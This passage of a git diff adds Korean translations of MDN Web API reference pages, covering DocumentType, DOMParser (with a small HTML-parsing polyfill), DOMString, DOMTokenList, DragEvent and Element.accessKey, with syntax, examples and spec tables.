+ <dd>{{domxref("DOMString")}} 입니다. 예, <code>&lt;!DOCTYPE HTML&gt;</code> 의 경우 <code>"html"</code>.</dd>
+ <dt>{{domxref("DocumentType.notations")}} {{readonlyInline}} {{obsolete_Inline}}</dt>
+ <dd>DTD에 선언된 노테이션을 포함한 {{domxref("NamedNodeMap")}} 입니다. 이 맵의 모든 노드는 {{domxref("Notation")}} 인터페이스를 구현합니다.</dd>
+ <dt>{{domxref("DocumentType.publicId")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("DOMString")}} 입니다. 예, <code>"-//W3C//DTD HTML 4.01//EN"</code>, HTML5의 경우 빈 문자열.</dd>
+ <dt>{{domxref("DocumentType.systemId")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("DOMString")}} 입니다. 예, <code>"http://www.w3.org/TR/html4/strict.dtd"</code>, HTML5의 경우 빈 문자열.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p><em>부모 {{domxref("Node")}} 로부터 메소드를 상속받고 {{domxref("ChildNode")}} 인터페이스를 구현합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("ChildNode.remove()")}} {{experimental_inline}}</dt>
+ <dd>부모의 자식 리스트로부터 객체를 제거합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#documenttype', 'DocumentType')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>{{domxref("ChildNode")}} 인터페이스의 구현을 추가했음.<br>
+ <code>internalSubset</code>, <code>entities</code>, <code>notation</code> 프로퍼티를 제거했음.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM3 Core', 'core.html#ID-412266927', 'DocumentType')}}</td>
+ <td>{{Spec2('DOM3 Core')}}</td>
+ <td>{{SpecName('DOM2 Core')}} 으로부터 변경사항 없음.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Core', 'core.html#ID-412266927', 'DocumentType')}}</td>
+ <td>{{Spec2('DOM2 Core')}}</td>
+ <td><code>publicID</code>, <code>systemID</code>, <code>internalSubset</code> 프로퍼티를 추가했음.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1', 'level-one-core.html#ID-412266927', 'DocumentType')}}</td>
+ <td>{{Spec2('DOM1')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.DocumentType")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/DOM/DOM_Reference">DOM 인터페이스 목차.</a></li>
+ <li>{{domxref("Entity")}}</li>
+ <li>{{domxref("Notation")}}</li>
+</ul>
diff --git a/files/ko/web/api/domobject/index.html b/files/ko/web/api/domobject/index.html
new file mode 100644
index 0000000000..29208a9ff2
--- /dev/null
+++ b/files/ko/web/api/domobject/index.html
@@ -0,0 +1,35 @@
+---
+title: DOMObject
+slug: Web/API/DOMObject
+tags:
+ - API
+ - DOM
+ - DOM 레퍼런스
+ - DOMObject
+ - 객체
+ - 레퍼런스
+ - 사용되지않음
+translation_of: Web/API/DOMObject
+---
+<div>{{APIRef("DOM")}}{{Obsolete_header}}</div>
+
+<p><span class="seoSummary">더 이상 사용되지 않는 <code><strong>DOMObject</strong></code> 인터페이스는 객체 데이터 타입을 위한 기본 클래스로서 DOM 명세의 초기 버전에 사용되었습니다. </span>명세는 이제 간단히 JavaScript {{jsxref("Object")}} 타입을 사용합니다.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("DOM3 Core", "core.html#DOMObject", "DOMObject")}}</td>
+ <td>{{Spec2("DOM3 Core")}}</td>
+ <td>초기 명세</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/api/domparser/index.html b/files/ko/web/api/domparser/index.html
new file mode 100644
index 0000000000..27530dabc9
--- /dev/null
+++ b/files/ko/web/api/domparser/index.html
@@ -0,0 +1,203 @@
+---
+title: DOMParser
+slug: Web/API/DOMParser
+translation_of: Web/API/DOMParser
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary">The <strong><code>DOMParser</code></strong> 인터페이스는 DOM {{domxref("Document")}} 문서에 맞는 {{Glossary("XML")}} 및 {{Glossary("HTML")}} 소스 코드를 해석할 수 있는 기반을 제공한다 .</span></p>
+
+<div class="note">
+<p><strong>참고:</strong> {{domxref("XMLHttpRequest")}} 객체로도 인식 가능한 URL 주소로부터 직접 XML 및 HTML 문서를 해석하여 {{domxref("XMLHttpRequest.response", "response")}} 속성을 통해 <code>Document</code> 객체로 제공한다.</p>
+</div>
+
+<p>반대로 DOM 구조를 XML 및 HTML 소스 코드로 제공하는 방식은 {{domxref("XMLSerializer")}} 인터페이스를 참고하도록 한다.</p>
+
+<p>HTML 문서의 경우, {{domxref("Element.innerHTML")}} 속성과 {{domxref("Element.outerHTML", "outerHTML")}} 속성을 통해 DOM 구조를 새로운 방식으로 변경할 수 있다. 또한 이들 속성을 통해 HTML 구조의 하위에 있는 HTML 구조도 불러올 수 있다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate">let <var>domparser</var> = new DOMParser()​​</pre>
+
+<h2 id="메소드">메소드</h2>
+
+<h3 id="domxrefDOMParser.parseFromString_1">{{domxref("DOMParser.parseFromString()", "", "", "1")}}</h3>
+
+<h4 id="문법_2">문법</h4>
+
+<pre class="syntaxbox notranslate">let <var>doc</var> = domparser.parseFromString(<var>string, <var>mimeType</var>)</var></pre>
+
+<h4 id="반환">반환</h4>
+
+<p> <strong><code><a href="#Argument02">mimeType</a></code></strong> 인자를 통해 정의한 형식에 따른 {{domxref("Document")}} 또는{{domxref("XMLDocument")}} 문서를 반환한다.</p>
+
+<h4 id="인자">인자</h4>
+
+<p>이 메소드에는 2개의 인자가 제공되는데, 모두 필수값이다.</p>
+
+<dl>
+ <dt><code><var>string</var></code></dt>
+ <dd>해석할 {{domxref("DOMString")}} 문자열. 반드시 {{Glossary("HTML")}}, {{Glossary("xml")}}, {{Glossary("xhtml+xml")}} 또는 {{Glossary("svg")}} 문서 형식에 맞아야 한다.</dd>
+ <dt id="Argument02"><code><var>mimeType</var></code></dt>
+ <dd>
+ <p>아래 표에 정의한 형식을 반환 값으로 제공할 {{domxref("DOMString")}} 문자열.</p>
+
+ <table class="standard-table" style="max-width: 60ch;">
+ <thead>
+ <tr>
+ <th scope="col"><code><var>mimeType</var></code></th>
+ <th scope="col"><code><var>doc</var>.constructor</code></th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>text/html</code></td>
+ <td><code>{{domxref("Document")}}</code></td>
+ </tr>
+ <tr>
+ <td><code>text/xml</code></td>
+ <td><code>{{domxref("XMLDocument")}}</code></td>
+ </tr>
+ <tr>
+ <td><code>application/xml</code></td>
+ <td><code>{{domxref("XMLDocument")}}</code></td>
+ </tr>
+ <tr>
+ <td><code>application/xhtml+xml</code></td>
+ <td><code>{{domxref("XMLDocument")}}</code></td>
+ </tr>
+ <tr>
+ <td><code>image/svg+xml</code></td>
+ <td><code>{{domxref("XMLDocument")}}</code></td>
+ </tr>
+ </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="XML_해석">XML 해석</h3>
+
+<p>parser 변수를 통해 새로이 해석할 객체를 만들었다면, 이제 <code>parseFromString()</code> 메소드를 통해 XML 문서를 해석할 수 있다.</p>
+
+<pre class="brush: js notranslate">let <var>parser</var> = new DOMParser()
+let <var>doc</var> = parser.parseFromString(<var>stringContainingXMLSource</var>, "application/xml")
+</pre>
+
+<h4 id="Error_handling" name="Error_handling">오류 대응</h4>
+
+<p>만약 해석에 실패할 경우, <code>DOMParser</code> 객체는 예외를 발생시키지 않고, 아래와 같은 오류 문서를 반환한다.</p>
+
+<pre class="brush:xml notranslate">&lt;parsererror xmlns="http://www.mozilla.org/newlayout/xml/parsererror.xml"&gt;
+ <var>(영문 오류 내용)</var>
+ &lt;sourcetext&gt;<var>(오류가 발생한 XML 소스 조각)</var>&lt;/sourcetext&gt;
+&lt;/parsererror&gt;
+</pre>
+
+<p>또한 해석 오류를 <a href="/en-US/docs/Error_Console" title="Error Console">오류 콘솔</a>에서도 볼 수 있으며, 여기에 후술할(역주: geckoRelease) 문서 URI도 포함된다</p>
+
+<h3 id="SVG_및_HTML_해석">SVG 및 HTML 해석</h3>
+
+<p>The <code>DOMParser</code> 객체는 {{geckoRelease("10.0")}} 규격에 맞는 SVG 문서도 해석할 수 있으며,{{geckoRelease("12.0")}} 규격에 맞는 HTML 문서를 해석할 수 있다. MIME 형식에 따라 아래와 같이 다른 객체가 반환될 수 있다.</p>
+
+<ol>
+ <li>IME 형식이 <code>text/xml</code>이면, <code>XMLDocument</code> 객체가 반환된다.</li>
+ <li>MIME 형식이 <code>image/svg+xml</code>이면, <code>SVGDocument</code> 객체가 반환된다.</li>
+ <li>MIME 형식이 <code>text/html</code>이면, <code>HTMLDocument</code> 객체가 반환된다.</li>
+</ol>
+
+<pre class="brush: js notranslate">let parser = new DOMParser()
+let doc = parser.parseFromString(stringContainingXMLSource, "application/xml")
+// Document 객체가 반환되지만, SVGDocument 및 HTMLDocument 객체가 아니다.
+
+parser = new DOMParser();
+doc = parser.parseFromString(stringContainingSVGSource, "image/svg+xml")
+// SVGDocument 객체가 반환되며, 이 또한 Document 객체이기도 하다.
+
+parser = new DOMParser();
+doc = parser.parseFromString(stringContainingHTMLSource, "text/html")
+// HTMLDocument 객체가 반환되며, 이 또한 Document 객체이기도 하다.
+</pre>
+
+<h2 id="DOMParser_HTML_확장">DOMParser HTML 확장</h2>
+
+<pre class="brush: js notranslate">/*
+ * DOMParser HTML 확장
+ * 2012-09-04
+ *
+ * By Eli Grey, http://eligrey.com
+ * Public domain.
+ * 이 구현체에 대한 보증이 없으므로 주의해서 사용할 것.
+ */
+
+/*! @source https://gist.github.com/1129031 */
+/*global document, DOMParser*/
+
+(function(DOMParser) {
+ "use strict";
+
+ var proto = DOMParser.prototype,
+ nativeParse = <span style="font-size: 1rem;">proto</span><span style="font-size: 1rem;">.parseFromString</span>;
+
+ // Firefox/Opera/IE 에서 지원하지 않는 형식에 오류 발생
+ try {
+ // WebKit returns null on unsupported types
+ if ((new DOMParser()).parseFromString("", "text/html")) {
+ // text/html parsing is natively supported
+ return;
+ }
+ } catch (ex) {}
+
+ <span style="font-size: 1rem;">proto</span><span style="font-size: 1rem;">.parseFromString = function(markup, type) {</span>
+ if (/^\s*text\/html\s*(?:;|$)/i.test(type)) {
+ var
+ doc = document.implementation.createHTMLDocument("")
+ ;
+ if (markup.toLowerCase().indexOf('&lt;!doctype') &gt; -1) {
+ doc.documentElement.innerHTML = markup;
+ }
+ else {
+ doc.body.innerHTML = markup;
+ }
+ return doc;
+ } else {
+ return <span style="font-size: 1rem;">nativeParse</span><span style="font-size: 1rem;">.apply(this, arguments);</span>
+ }
+ };
+}(DOMParser));
+</pre>
+
+<h2 id="규격">규격</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#dom-parsing-and-serialization', 'DOM parsing')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.DOMParser", 3)}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Parsing_and_serializing_XML" title="Parsing_and_serializing_XML">XML 문서 직렬화와 해석</a> </li>
+ <li>{{domxref("XMLHttpRequest")}}</li>
+ <li>{{domxref("XMLSerializer")}}</li>
+ <li>{{jsxref("JSON.parse()")}} - {{jsxref("JSON")}} 문서에 대해 같은 역할을 제공한다.</li>
+</ul>
diff --git a/files/ko/web/api/domstring/index.html b/files/ko/web/api/domstring/index.html
new file mode 100644
index 0000000000..0a0b547159
--- /dev/null
+++ b/files/ko/web/api/domstring/index.html
@@ -0,0 +1,43 @@
+---
+title: DOMString
+slug: Web/API/DOMString
+tags:
+ - API
+ - DOM
+ - Reference
+ - String
+translation_of: Web/API/DOMString
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>DOMString</code></strong>은 UTF-16 문자열입니다. JavaScript의 {{jsxref("String")}}도 UTF-16 문자열이기 때문에 <code>DOMString</code>은 <code>String</code>으로 연결됩니다.</p>
+
+<p><code>DOMString</code>을 받는 매개변수에 {{jsxref("null")}}을 전달하면, 보통 문자열로 변환해 <code>"null"</code>이 됩니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('WebIDL', '#idl-DOMString', 'DOMString')}}</td>
+ <td>{{Spec2('WebIDL')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>JavaScript {{jsxref("String")}}</li>
+ <li>{{domxref("USVString")}}</li>
+ <li>{{domxref("CSSOMString")}}</li>
+ <li><a href="/ko/docs/Web/API/DOMString/Binary">이진 문자열</a></li>
+</ul>
diff --git a/files/ko/web/api/domtokenlist/contains/index.html b/files/ko/web/api/domtokenlist/contains/index.html
new file mode 100644
index 0000000000..5913cdf749
--- /dev/null
+++ b/files/ko/web/api/domtokenlist/contains/index.html
@@ -0,0 +1,117 @@
+---
+title: DOMTokenList.contains()
+slug: Web/API/DOMTokenList/contains
+translation_of: Web/API/DOMTokenList/contains
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>The <code><strong>contains()</strong></code> method of the {{domxref("DOMTokenList")}} interface returns a {{domxref("Boolean")}} — <code>true</code> if the underlying list contains the given <em>token</em>, otherwise <code>false</code>.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">tokenList.contains(token);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt>token</dt>
+ <dd>A {{domxref("DOMString")}} representing the token you want to check for the existance of in the list.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A {{domxref("Boolean")}} — <code>true</code> if the underlying list contains the given <em>token</em>, otherwise <code>false</code>.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>In the following example we retrieve the list of classes set on a {{htmlelement("span")}} element as a <code>DOMTokenList</code> using {{domxref("Element.classList")}}. We then test for the existance of "c" in the list, and write the result into the <code>&lt;span&gt;</code>'s {{domxref("Node.textContent")}}.</p>
+
+<p>First, the HTML:</p>
+
+<pre class="brush: html">&lt;span class="a b c"&gt;&lt;/span&gt;</pre>
+
+<p>Now the JavaScript:</p>
+
+<pre class="brush: js">var span = document.querySelector("span");
+var classes = span.classList;
+var result = classes.contains("c");
+if(result) {
+ span.textContent = "The classList contains 'c'";
+} else {
+ span.textContent = "The classList does not contain 'c'";
+}</pre>
+
+<p>The output looks like this:</p>
+
+<p>{{ EmbedLiveSample('Examples', '100%', 60) }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG','#dom-domtokenlist-contains','contains()')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>10</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android Webview</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/ko/web/api/domtokenlist/index.html b/files/ko/web/api/domtokenlist/index.html
new file mode 100644
index 0000000000..a3b7c6fd97
--- /dev/null
+++ b/files/ko/web/api/domtokenlist/index.html
@@ -0,0 +1,115 @@
+---
+title: DOMTokenList
+slug: Web/API/DOMTokenList
+tags:
+ - API
+ - DOM
+ - DOMTokenList
+ - Interface
+ - Reference
+translation_of: Web/API/DOMTokenList
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>The <code><strong>DOMTokenList</strong></code> interface represents a set of space-separated tokens. Such a set is returned by {{domxref("Element.classList")}}, {{domxref("HTMLLinkElement.relList")}}, {{domxref("HTMLAnchorElement.relList")}}, {{domxref("HTMLAreaElement.relList")}}, {{domxref("HTMLIframeElement.sandbox")}}, or {{domxref("HTMLOutputElement.htmlFor")}}. It is indexed beginning with <code>0</code> as with JavaScript {{jsxref("Array")}} objects. <code>DOMTokenList</code> is always case-sensitive.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("DOMTokenList.length")}} {{ReadOnlyInline}}</dt>
+ <dd>Is an <code>integer</code> representing the number of objects stored in the object.</dd>
+ <dt>{{domxref("DOMTokenList.value")}}</dt>
+ <dd>The value of the list as a {{domxref("DOMString")}}.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("DOMTokenList.item()")}}</dt>
+ <dd>Returns an item in the list by its index (returns <code>undefined</code> if the number is greater than or equal to the length of the list).</dd>
+ <dt>{{domxref("DOMTokenList.contains()")}}</dt>
+ <dd>Returns <code>true</code> if the list contains the given <em>token</em>, otherwise <code>false</code>.</dd>
+ <dt>{{domxref("DOMTokenList.add()")}}</dt>
+ <dd>Adds the given <em>token</em> to the list.</dd>
+ <dt>{{domxref("DOMTokenList.remove()")}}</dt>
+ <dd>Removes the specified <em>token</em> from the list.</dd>
+ <dt>{{domxref("DOMTokenList.replace()")}}</dt>
+ <dd>Replaces an existing <em>token</em> with a new token.</dd>
+ <dt>{{domxref("DOMTokenList.supports()")}}</dt>
+ <dd>Returns <code>true</code> if a given <em>token</em> is in the associated attribute's supported tokens.</dd>
+ <dt>{{domxref("DOMTokenList.toggle()")}}</dt>
+ <dd>Removes a given <em>token</em> from the list and returns <code>false</code>. If <em>token</em> doesn't exist it's added and the function returns <code>true</code>.</dd>
+ <dt>{{domxref("DOMTokenList.entries()")}}</dt>
+ <dd>Returns an {{jsxref("Iteration_protocols","iterator")}} allowing you to go through all key/value pairs contained in this object.</dd>
+ <dt>{{domxref("DOMTokenList.forEach()")}}</dt>
+ <dd>Executes a provided function once per <code>DOMTokenList</code> element.</dd>
+ <dt>{{domxref("DOMTokenList.keys()")}}</dt>
+ <dd>Returns an {{jsxref("Iteration_protocols", "iterator")}} allowing you to go through all keys of the key/value pairs contained in this object.</dd>
+ <dt>{{domxref("DOMTokenList.values()")}}</dt>
+ <dd>Returns an {{jsxref("Iteration_protocols", "iterator")}} allowing you to go through all values of the key/value pairs contained in this object.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>In the following simple example we retrieve the list of classes set on a {{htmlelement("p")}} element as a <code>DOMTokenList</code> using {{domxref("Element.classList")}}, add a class using {{domxref("DOMTokenList.add()")}}, and then update the {{domxref("Node.textContent")}} of the <code>&lt;p&gt;</code> to equal the <code>DOMTokenList</code>.</p>
+
+<p>First, the HTML:</p>
+
+<pre class="brush: html">&lt;p class="a b c"&gt;&lt;/p&gt;</pre>
+
+<p>Now the JavaScript:</p>
+
+<pre class="brush: js">var para = document.querySelector("p");
+var classes = para.classList;
+para.classList.add("d");
+para.textContent = 'paragraph classList is "' + classes + '"';</pre>
+
+<p>The output looks like this:</p>
+
+<p>{{ EmbedLiveSample('Examples', '100%', 60) }}</p>
+
+<h2 id="Trimming_of_whitespace_and_removal_of_duplicates">Trimming of whitespace and removal of duplicates</h2>
+
+<p>Methods that modify the <code>DOMTokenList</code> (such as {{domxref("DOMTokenList.add()")}}) automatically trim any excess {{Glossary("Whitespace")}} and remove duplicate values from the list. For example:</p>
+
+<pre class="brush: html">&lt;span class=" d d e f"&gt;&lt;/span&gt;</pre>
+
+<pre class="brush: js">var span = document.querySelector("span");
+var classes = span.classList;
+span.classList.add("x");
+span.textContent = 'span classList is "' + classes + '"';</pre>
+
+<p>The output looks like this:</p>
+
+<p>{{ EmbedLiveSample('Trimming_of_whitespace_and_removal_of_duplicates', '100%', 60) }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("DOM WHATWG", "#interface-domtokenlist", "DOMTokenList")}}</td>
+ <td>{{Spec2("DOM WHATWG")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.DOMTokenList")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("DOMSettableTokenList")}} (object that extends <code>DOMTokenList</code> with settable <em>.value</em> property)</li>
+</ul>
diff --git a/files/ko/web/api/dragevent/index.html b/files/ko/web/api/dragevent/index.html
new file mode 100644
index 0000000000..855e0fa9eb
--- /dev/null
+++ b/files/ko/web/api/dragevent/index.html
@@ -0,0 +1,109 @@
+---
+title: DragEvent
+slug: Web/API/DragEvent
+tags:
+ - API
+ - DragEvent
+ - Reference
+ - drag and drop
+translation_of: Web/API/DragEvent
+---
+<div>{{APIRef("HTML Drag and Drop API")}}</div>
+
+<p>The <strong><code>DragEvent</code></strong> interface is a {{domxref("Event","DOM event")}} that represents a drag and drop interaction. The user initiates a drag by placing a pointer device (such as a mouse) on the touch surface and then dragging the pointer to a new location (such as another DOM element). Applications are free to interpret a drag and drop interaction in an application-specific way.</p>
+
+<p class="note">This interface inherits properties from {{domxref("MouseEvent")}} and {{domxref("Event")}}.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref('DragEvent.dataTransfer')}} {{readonlyInline}}</dt>
+ <dd>The data that is transferred during a drag and drop interaction.</dd>
+</dl>
+
+<h2 id="Constructors">Constructors</h2>
+
+<p class="note">Although this interface has a constructor, it is not possible to create a useful DataTransfer object from script, since {{domxref("DataTransfer")}} objects have a processing and security model that is coordinated by the browser during drag-and-drops.</p>
+
+<dl>
+ <dt>{{domxref("DragEvent.DragEvent", "DragEvent()")}}</dt>
+ <dd>Creates a synthetic and untrusted DragEvent.</dd>
+</dl>
+
+<h2 id="Event_types">Event types</h2>
+
+<dl>
+ <dt>{{event('drag')}}</dt>
+ <dd>This event is fired when an element or text selection is being dragged.</dd>
+ <dt>{{event('dragend')}}</dt>
+ <dd>This event is fired when a drag operation is being ended (by releasing a mouse button or hitting the escape key).</dd>
+ <dt>{{event('dragenter')}}</dt>
+ <dd>This event is fired when a dragged element or text selection enters a valid drop target.</dd>
+ <dt>{{event('dragexit')}}</dt>
+ <dd>This event is fired when an element is no longer the drag operation's immediate selection target.</dd>
+ <dt>{{event('dragleave')}}</dt>
+ <dd>This event is fired when a dragged element or text selection leaves a valid drop target.</dd>
+ <dt>{{event('dragover')}}</dt>
+ <dd>This event is fired continuously when an element or text selection is being dragged and the mouse pointer is over a valid drop target (every 50 ms WHEN mouse is not moving ELSE much faster between 5 ms (slow movement) and 1ms (fast movement) approximately. This firing pattern is different than {{Event("mouseover")}} ).</dd>
+ <dt>{{event('dragstart')}}</dt>
+ <dd>This event is fired when the user starts dragging an element or text selection.</dd>
+ <dt>{{event('drop')}}</dt>
+ <dd>This event is fired when an element or text selection is dropped on a valid drop target.</dd>
+</dl>
+
+<h2 id="GlobalEventHandlers">GlobalEventHandlers</h2>
+
+<dl>
+ <dt>{{domxref('GlobalEventHandlers.ondrag')}}</dt>
+ <dd>A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('drag')}} event.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondragend')}}</dt>
+ <dd>A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragend')}} event.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondragenter')}}</dt>
+ <dd>A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragenter')}} event.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondragexit')}}</dt>
+ <dd>A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragexit')}} event.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondragleave')}}</dt>
+ <dd>A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragleave')}} event.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondragover')}}</dt>
+ <dd>A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragover')}} event.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondragstart')}}</dt>
+ <dd>A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragstart')}} event.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondrop')}}</dt>
+ <dd>A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('drop')}} event.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>An Example of each property, constructor, event type and global event handlers is included in their respective reference page.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "#dragevent", "DragEvent")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5.1", "editing.html#the-dragevent-interface", "DragEvent")}}</td>
+ <td>{{Spec2("HTML5.1")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.DragEvent")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<p>{{page("/en-US/docs/Web/API/DataTransfer", "See also")}}</p>
diff --git a/files/ko/web/api/element/accesskey/index.html b/files/ko/web/api/element/accesskey/index.html
new file mode 100644
index 0000000000..f3206eae4b
--- /dev/null
+++ b/files/ko/web/api/element/accesskey/index.html
@@ -0,0 +1,34 @@
+---
+title: Element.accessKey
+slug: Web/API/Element/accessKey
+tags:
+ - API
+ - Access Keys
+ - DOM
+ - Hotkeys
+ - NeedsContent
+ - 레퍼런스
+ - 속성
+ - 엘리먼트
+ - 키보드 단축키
+translation_of: Web/API/HTMLElement/accessKey
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>Element.accessKey</strong></code> 속성은 주어진 사용자가 눌러 주어진 엘리먼트로 이동할 수 있는 키 입력 세트입니다.</p>
+
+<div class="note">
+<p><code>Element.accessKey</code> 속성은 브라우저에 이미 바인딩 된 키와의 여러 충돌로 인해 거의 사용되지 않습니다. 이를 해결하기 위해, 브라우저는 다른 "적절한" 키(예, <kbd>Alt</kbd> + accesskey)와 함께 키가 눌렸을 때동작하도록 구현하였습니다.</p>
+</div>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Element.accessKey")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/HTML/Global_attributes/accesskey">HTML 전역 속성: accesskey</a></li>
+</ul>
diff --git a/files/ko/web/api/element/attributes/index.html b/files/ko/web/api/element/attributes/index.html
new file mode 100644
index 0000000000..53f9f8f0cf
--- /dev/null
+++ b/files/ko/web/api/element/attributes/index.html
@@ -0,0 +1,72 @@
+---
+title: element.attributes
+slug: Web/API/Element/attributes
+tags:
+ - DOM
+ - Gecko
+ - Gecko DOM Reference
+translation_of: Web/API/Element/attributes
+---
+<p>{{ ApiRef() }}</p>
+<h3 id=".EC.9A.94.EC.95.BD" name=".EC.9A.94.EC.95.BD">요약</h3>
